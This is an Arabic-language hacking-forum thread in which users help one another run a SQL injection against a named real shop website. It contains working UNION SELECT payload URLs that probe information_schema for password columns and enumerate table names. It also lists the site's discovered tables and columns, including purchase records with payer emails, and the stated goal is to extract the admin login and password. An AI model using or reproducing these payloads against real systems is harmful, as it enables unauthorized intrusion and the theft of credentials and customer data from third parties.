مشكلة فى حقن الموقع بثغرة ال SQL

Erorr · 06-27-2013, 11:42 PM

السلام عليكم و رحمة الله و بركاته

اانا عندى مشكلة فى حقن الموقع

انا شوفت الموقع مصاب الاول
وطلعت عدد الاعمدة و طلعت العمود المصاب

و طلعت اصدار القاعدة و كلة

بس اما اجى اعمل الامر علشان استخرج الادمن مش بيجى .. الصفحة بتبقى بيضاء

و هى صورة

ارجو الحل

و هى الكود اللى كتبتة

كود:

http://www.henryyanart.com/product.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11+from+information_schema.columns+where+column_name+LIKE+CHAR%2837,%20112,%2097,%20115,%2037%29--

المصدر: :: vBspiders Professional Network ::

Vspan style="font-weight: bold; color: #006400;"Cl[hf:VLspanC la;gm tn prk hgl,ru feyvm hg SQL

aircrack -ng · 06-28-2013, 12:53 AM

شوف دورة فولكانو

Erorr · 06-28-2013, 11:54 AM

شوفتها اخى

انا عاوز اعرف دى فلترة و الا ايه ؟؟؟

و الا دى انهى نوع من المشاكل و يا ريت الحل؟

aircrack -ng · 06-28-2013, 01:26 PM

كود:

http://www.henryyanart.com/product.php?id=-1+union+select+1,group_concat%28table_name%29,3,4,5,6,7,8,9,10,11+from+information_schema.tables%20where%20table_schema=database%28%29--

Erorr · 06-28-2013, 03:00 PM

اخى انا عاوز اطلع الادمن و الباص مش عاوز قاعدة البيانات

aircrack -ng · 06-28-2013, 05:00 PM

اقتباس

المشاركة الأصلية كتبت بواسطة Erorr


	اخى انا عاوز اطلع الادمن و الباص مش عاوز قاعدة البيانات

وانت شايف حقنتي بعرضلك قاعدة البيانات
انا عرضتلك الموجود داخل قاعدة البيانات

mido868 · 06-28-2013, 05:22 PM

يرجى العلم انك لم تكتب الحقن الذى استخدمتها لكى نظهر لك المشكلة ممكن من الكود او فلترة او غير ذلك
بس الافضل تشوف الكود الخاص بك والكود الخاص ايركراك (عبد الصمد) وتشوف الاختلاف
لايوجد سوى 3 جداول
events1
products2,
3 purchases
الجدول الاول يحتوى على
id,type,name,location,address,max_students,quantit y,price,model_fee,deposit,deposit_date,date_time,d ate_words,description,fee_breakdown,host_email,hos t_link,visible

الجدول الثانى
id,name,subname,image,quantity,price,shipping,camx _shipping,int_shipping,details,description

الجدول الثالث
id,txn_id,payment_amount,payment_currency,item_nam e,receiver_email,payer_email